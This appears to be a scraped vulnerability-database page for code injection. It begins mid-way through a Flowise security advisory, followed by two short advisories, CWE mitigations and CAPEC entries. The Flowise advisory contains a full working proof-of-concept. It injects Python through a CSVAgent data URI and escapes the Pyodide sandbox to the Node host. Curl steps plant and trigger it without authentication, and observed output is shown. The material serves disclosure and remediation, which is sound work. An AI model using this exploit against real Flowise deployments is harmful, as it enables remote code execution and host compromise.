`customReadCSV` field, not `base64String`.\n- `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only\n against the *LLM-emitted* Python that runs later \u2014 never against this\n bootstrap template.\n- No content check (`^[A-Za-z0-9+/=]*$`) is applied to `base64String` before\n interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7\u201316):\n\n```ts\nexport async function LoadPyodide(): Promise\u003cPyodideInterface\u003e {\n if (pyodideInstance === undefined) {\n const { loadPyodide } = await import(\u0027pyodide\u0027)\n const obj: any = { packageCacheDir: path.join(getUserHome(), \u0027.flowise\u0027, \u0027pyodideCacheDir\u0027) }\n pyodideInstance = await loadPyodide(obj)\n await pyodideInstance.loadPackage([\u0027pandas\u0027, \u0027numpy\u0027])\n }\n return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n \"(async () =\u003e {\"\n \" const fs = await import(\u0027fs\u0027);\"\n \" fs.writeFileSync(\u0027proof.txt\u0027, \u0027pwned\u0027);\"\n \"})()\"\n)\n```\n\n\u2026which executes in the host Node.js process, **not** inside Pyodide\u0027s WASM\nsandbox. Substituting `await import(\u0027child_process\u0027)` for `await import(\u0027fs\u0027)`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n\u003e **Node-version note.** The original PoC for this issue used\n\u003e `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n\u003e only works on Node \u2264 13 because `process.mainModule` was deprecated and now\n\u003e returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n\u003e above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n\u003e confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n\u003e 20.20.2 \u2014 see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n\u003e below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install \u0026\u0026 node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n \"name\": \"poc-flowise-s1\",\n \"version\": \"1.0.0\",\n \"type\": \"commonjs\",\n \"dependencies\": {\n \"pyodide\": \"^0.29.3\"\n }\n}\n```\n\n**`repro_a1_pyodide.js`** \u2014 mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(\u0027,\u0027)`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n// 1. JS-side template-literal interpolation produces malicious Python\n// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n// 3. Pyodide-on-Node `js` bridge reaches Node\u0027s fs module via dynamic\n// import(\u0027fs\u0027) -\u003e host file write\n//\n// CONSTRAINTS:\n// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) \u2014 segment[2]\n// of the data URI is what becomes `base64_string`, so this segment must\n// contain NO raw `,` bytes.\n// * Inside a Python double-quoted string literal, `,` is the escape\n// for `,`. The data-URI parser sees the 6 raw bytes `\\`, `u`, `0`, `0`,\n// `2`, `c` (no commas), but Python\u0027s lexer turns them into commas at\n// runtime \u2014 letting us pass multiple arguments to JS functions inside\n// the Python source.\n//\n// NODE-VERSION NOTE: an earlier revision of this PoC used\n// `cp = js.process.mainModule.require(\"child_process\"); cp.execSync(...)`\n// which is shorter but only works on Node \u2264 13 \u2014 `process.mainModule` was\n// deprecated and now returns `undefined` on Node 14+, so the inner\n// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form\n// below works on any Node 13.2+ in both CommonJS and ESM contexts and was\n// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.\n\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { loadPyodide } = require(\u0027pyodide\u0027)\n\nconst proofName = \u0027flowise_a1_pyodide_proof.txt\u0027\nconst proofPath = path.resolve(__dirname, proofName)\nconst proofMarker = \u0027FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\u0027\n\n// --- Attacker payload (Python; comma-free) ----------------------------------\n// Closes the `base64_string = \"` literal with `\";`, runs malicious Python,\n// then `#` comments out the surviving closing `\"` so the rest of the\n// bootstrap template still parses.\nconst pythonInjection =\n \u0027\";\\n\u0027 +\n \u0027import js\\n\u0027 +\n `await js.eval(\"(async () =\u003e { const fs = await import(\u0027fs\u0027); fs.writeFileSync(\u0027${proofName}\u0027\\\\u002c \u0027${proofMarker}\u0027); })()\")\\n` +\n \u0027#\u0027\n\n// Sanity: any commas would fragment the injection on the JS side.\nif (pythonInjection.includes(\u0027,\u0027)) {\n throw new Error(\u0027PoC bug: injection segment contains a comma \u2014 would be split by csvFile.split(\",\")\u0027)\n}\n\nconst csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`\n\n// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------\nconst csvFileBase64 = csvFile\nconst files = csvFileBase64.startsWith(\u0027[\u0027) \u0026\u0026 csvFileBase64.endsWith(\u0027]\u0027) ? JSON.parse(csvFileBase64) : [csvFileBase64]\nlet base64String = \u0027\u0027\nfor (const file of files) {\n if (!file) continue\n const splitDataURI = file.split(\u0027,\u0027)\n splitDataURI.pop()\n base64String += splitDataURI.pop() ?? \u0027\u0027\n}\n\n// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------\n// We omit `import pandas as pd` so we don\u0027t need to load pandas (~30 MB) just\n// to demonstrate the injection. The real flow\u0027s pyodide instance preloads\n// pandas via LoadPyodide() (core.ts:12). The injection point and validator\n// bypass are identical either way.\nconst code = `import base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\nprint(\"post-injection bootstrap continued; base64_string =\", repr(base64_string))\n`\n\nconsole.log(\u0027--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---\u0027)\nconsole.log(code)\nconsole.log(\u0027--- end ---\\n\u0027)\n\n;(async () =\u003e {\n try { fs.unlinkSync(proofPath) } catch {}\n\n console.log(\u0027[*] Loading pyodide...\u0027)\n const pyodide = await loadPyodide()\n console.log(\u0027[*] Pyodide loaded; running attacker-assembled Python...\\n\u0027)\n\n try {\n await pyodide.runPythonAsync(code)\n } catch (e) {\n console.log(\u0027[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):\u0027)\n console.log(String(e).split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\n }\n\n // give the spawned writeFileSync a moment to flush\n await new Promise((r) =\u003e setTimeout(r, 500))\n\n console.log(\u0027\\n--- Proof file at \u0027 + proofPath + \u0027 ---\u0027)\n if (fs.existsSync(proofPath)) {\n console.log(fs.readFileSync(proofPath, \u0027utf-8\u0027).trim())\n console.log(\u0027\\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\u0027)\n } else {\n console.log(\u0027[-] Proof file not present.\u0027)\n }\n})()\n```\n\n#### What gets assembled\n\nAfter the two `pop()` calls in `CSVAgent.ts:135-137` extract the third comma-separated segment, the Python text passed to `pyodide.runPythonAsync` becomes (note that Python\u0027s lexer resolves the `,` escapes inside the string literal back to commas, so the JS code actually receives `fs.writeFileSync(\u0027proof\u0027, \u0027marker\u0027)`):\n\n```python\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"\";\nimport js\nawait js.eval(\"(async () =\u003e { const fs = await import(\u0027fs\u0027); fs.writeFileSync(\u0027flowise_a1_pyodide_proof.txt\u0027, \u0027FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\u0027); })()\")\n#\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n...\n```\n\nThe `\";` closes line 161\u0027s string literal; the injected statements execute\n(awaiting the JS Promise that writes the proof file); the trailing `#`\ncomments out the dangling `\"` so the rest of the bootstrap parses. The\nremaining `b64decode(\"\")` returns `b\u0027\u0027` and `pd.read_csv` (in the live\ntemplate) then raises `pandas.errors.EmptyDataError`, but the\n`fs.writeFileSync(...)` call has already fired in the Node host.\n\n#### Observed output (after deleting any prior proof file)\n\n```\n[*] Loading pyodide...\n[*] Pyodide loaded; running attacker-assembled Python...\n\n--- Proof file at .../flowise_a1_pyodide_proof.txt ---\nFLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\n\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\n```\n\nThe proof file `flowise_a1_pyodide_proof.txt` is written by the Node host\nprocess via the Pyodide `js` bridge \u2192 `js.eval(...)` \u2192\n`(await import(\u0027fs\u0027)).writeFileSync(...)`, confirming the escape from the\nPyodide WASM sandbox. The standalone repro omits `import pandas`, so no\npost-injection exception is raised \u2014 but the live template (`pandas.read_csv`\non the empty buffer) throws `pandas.errors.EmptyDataError` *after* the host\nwrite has already happened, which is exactly the symptom an operator sees in\nthe chat panel.\n\n#### Verified end-to-end against live Flowise\n\nThe standalone repro above proves the validator-bypass + sandbox-escape\nprimitive in isolation. The same payload was additionally verified against a\nstock `flowise@3.1.2` install on Node 20.20.2:\n\n| Step | Action |\n|---|---|\n| 1 | `npm install -g flowise` (Node 20.20.2, Linux x64) |\n| 2 | `flowise start` \u2192 bind on `:3000` |\n| 3 | UI: create admin + dummy OpenAI credential (any string for the API key \u2014 never validated; the exploit fires before the LLM is invoked) |\n| 4 | Plant the attached `evil-csvagent-flow.json` in the chatflows DB (UI import or `POST /api/v1/chatflows`) |\n| 5 | Open the chatflow \u2192 click chat \u2192 send any message |\n| 6 | Chat panel shows `pandas.errors.EmptyDataError: No columns to parse from file` |\n| 7 | `/home/\u003cuser\u003e/flowise_a1_proof.txt` is now present, 46 bytes, content `FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import`, owner-uid matches the Flowise process uid |\n\nReproduction artifacts (`evil-csvagent-flow.json`, `build-flow-v2.js`,\n`test-flow.js`, the captured `evidence-bundle.txt`) live at\n`pocs/S1-csvagent-csvfile-rce/triage-response/`. The chatflow JSON is built\nverbatim from Flowise\u0027s bundled `marketplaces/chatflows/CSV Agent.json`\ntemplate with three minimal edits \u2014 the malicious `csvFile` data URI on\n`csvAgent_0`, a placeholder credential on `chatOpenAI_0`, and the sticky\nnote removed \u2014 so it imports cleanly into any Flowise 3.x without the\n`reactFlowNodeData.inputParams.find(...)` 500 the maintainer initially saw\nwhen handed a hand-crafted minimal flow.\n\n#### End-to-end against a live Flowise instance\n\nThe local PoC above proves the validator-bypass + sandbox-escape primitive.\nTo reach the same primitive over HTTP against a deployed Flowise, two\nrequests suffice:\n\n```bash\n# Step 1 \u2014 authenticated chatflow author (any user with chatflows:create\n# in OSS, this is typically every registered user) plants the flow.\n# evil-csvagent-flow.json is a chatflow whose csvAgent node has\n# inputs.csvFile = \"data:text/csv;base64,A,\u003ccomma-free python payload\u003e,IGNORED\"\ncurl -X POST https://target/api/v1/chatflows \\\n -H \"Authorization: Bearer \u003capi-key with chatflows:create\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d @evil-csvagent-flow.json\n# \u2192 returns chatflow id, e.g. \"\u003cflow-uuid\u003e\"\n\n# Step 2 \u2014 anyone, no auth (the route is whitelisted at\n# packages/server/src/utils/constants.ts:12) triggers execution:\ncurl -X POST https://target/api/v1/prediction/\u003cflow-uuid\u003e \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"question\":\"go\"}\u0027\n```\n\nStep 1 is the only authenticated step; Step 2 is unauthenticated when\n`chatflow.apikeyid` is unset (the default for newly created chatflows).\n\n### Impact\n\n- **Class:** Remote Code Execution via Python-template injection escaping the\n Pyodide sandbox through the `js` bridge.\n- **Affected:** every Flowise deployment that exposes a chatflow containing a\n `CSVAgent` node where `csvFile` is operator-supplied (i.e., overridable via\n `nodeOverrides` for the API caller, or planted by any user with chatflow\n edit permission).\n- **Prerequisites:** one user with `chatflows:create` / `chatflows:update` /\n `agentflows:create` / `agentflows:update` to plant the chatflow once. The\n trigger is unauthenticated when the chatflow has no `apikeyid` set (the\n default for newly created chatflows).\n- **Result:** arbitrary OS-command execution as the Flowise process. Direct\n access to Flowise\u0027s encrypted-credentials key file, the entire database,\n the host filesystem, and any network resource the host can reach.\n\n### Metadata\n\n- **Affected versions:** Confirmed at commit\n `a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d` (main, 2026-04-28) and at\n `flowise@3.1.2`. The vulnerable code (`splitDataURI.pop()` + template-string\n interpolation) appears unchanged across this range. Earlier 3.x versions\n with the same data-URI parsing pattern are also believed to be affected,\n but I did not verify each historical tag.\n- **Fixed version:** Unpatched at the audited commit.\n- **CVSS v3.1:**\n `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` \u2192 Base score **9.9\n (Critical)**.\n - AV:N \u2014 public `/api/v1/prediction/:id` trigger.\n - AC:L \u2014 deterministic; no race / timing.\n - PR:L \u2014 one user with `chatflows:create` (or equivalent) plants the\n chatflow. In OSS deployments, any registered user typically has this.\n - UI:N \u2014 no user interaction required at trigger time.\n - S:C \u2014 Pyodide\u0027s WASM/Python sandbox is the intended security authority\n for this code path; the `js` bridge escape and the validator bypass break\n out to the Node host process.\n - C:H / I:H / A:H \u2014 full host compromise.\n- **CWE:** CWE-94 (Improper Control of Generation of Code: \u0027Code Injection\u0027);\n more specifically CWE-95 (Improper Neutralization of Directives in\n Dynamically Evaluated Code: \u0027Eval Injection\u0027).\n\n### Remediation\n\n**Maintainer fix (preferred \u2014 eliminates string-interpolation entirely):**\npass the base64 value through Pyodide\u0027s `globals.set` API instead of\ntemplate-string interpolation. In `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`,\nreplace the construction at lines 156\u2013171 with something like:\n\n```ts\nconst pyodide = await LoadPyodide()\npyodide.globals.set(\u0027base64_string\u0027, base64String)\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code)\n```\n\nThis keeps the value as a Python `str` object that never enters the source\ntext. Apply the same change to `AirtableAgent.ts` if it follows the same\npattern.\n\n**Defense in depth (recommended as well):**\n1. Validate `base64String` against `^[A-Za-z0-9+/=]*$` before interpolation\n (rejects every escape character used in the PoC).\n2. Disable Pyodide\u0027s `js` module on load. Pyodide supports `loadPyodide({ jsglobals: {} })`\n or the `js`-module-removal recipe; either prevents the bridge to\n `globalThis.process` on Node.js. Apply in\n `packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide`.\n3. Run `validatePythonCodeForDataFrame` (or a stricter equivalent) over the\n bootstrap template, not only over the LLM-emitted code. The current\n ordering inverts the trust assumption.\n4. Add a positive allow-list to `validateCustomReadCSVFunction` enumerating\n only safe pandas readers (e.g., `read_csv` and column-typed forms);\n exclude `read_pickle`, `read_html`, `read_xml`, `read_parquet`,\n `read_orc`, `read_feather`, `read_json` (these are independently\n exploitable \u2014 see S2/S3 in the submission roadmap).\n\n**User mitigations until a patch ships:**\n- Set `chatflow.apikeyid` on every chatflow that uses CSVAgent so\n `validateFlowAPIKey` enforces auth on `/api/v1/prediction/:id`.\n- Set `chatbotConfig.allowedOrigins` to a strict list (note: this only\n defends against browser callers, not curl/server-side).\n- Restrict `chatflows:create` / `agentflows:create` permissions to trusted\n users only.\n- Where possible, strip `csvFile` from the `nodeOverrides` allow-list on\n affected chatflows so it cannot be supplied at prediction time.",
"id": "GHSA-4j8x-x6v7-w9rq",
"modified": "2026-08-04T17:43:48Z",
"published": "2026-08-04T17:43:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6499"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation"
}
GHSA-4J92-XCJV-Q7VQ
Vulnerability from github – Published: 2022-05-01 23:31 – Updated: 2022-05-01 23:31Multiple PHP remote file inclusion vulnerabilities in Mindmeld 1.2.0.10 allow remote attackers to execute arbitrary PHP code via a URL in the MM_GLOBALS[home] parameter to (1) acweb/admin_index.php; and (2) ask.inc.php, (3) learn.inc.php, (4) manage.inc.php, (5) mind.inc.php, and (6) sensory.inc.php in include/.
{
"affected": [],
"aliases": [
"CVE-2008-0572"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-05T02:00:00Z",
"severity": "MODERATE"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Mindmeld 1.2.0.10 allow remote attackers to execute arbitrary PHP code via a URL in the MM_GLOBALS[home] parameter to (1) acweb/admin_index.php; and (2) ask.inc.php, (3) learn.inc.php, (4) manage.inc.php, (5) mind.inc.php, and (6) sensory.inc.php in include/.",
"id": "GHSA-4j92-xcjv-q7vq",
"modified": "2022-05-01T23:31:38Z",
"published": "2022-05-01T23:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0572"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5026"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27538"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4JF7-FJC5-J529
Vulnerability from github – Published: 2022-05-17 05:32 – Updated: 2025-04-11 03:53The RV10 codec in RealNetworks RealPlayer before 15.0.0 and Mac RealPlayer before 12.0.0.1703 allows remote attackers to execute arbitrary code via a crafted sample height.
{
"affected": [],
"aliases": [
"CVE-2011-4252"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-11-24T11:55:00Z",
"severity": "HIGH"
},
"details": "The RV10 codec in RealNetworks RealPlayer before 15.0.0 and Mac RealPlayer before 12.0.0.1703 allows remote attackers to execute arbitrary code via a crafted sample height.",
"id": "GHSA-4jf7-fjc5-j529",
"modified": "2025-04-11T03:53:01Z",
"published": "2022-05-17T05:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4252"
},
{
"type": "WEB",
"url": "http://service.real.com/realplayer/security/11182011_player/en"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.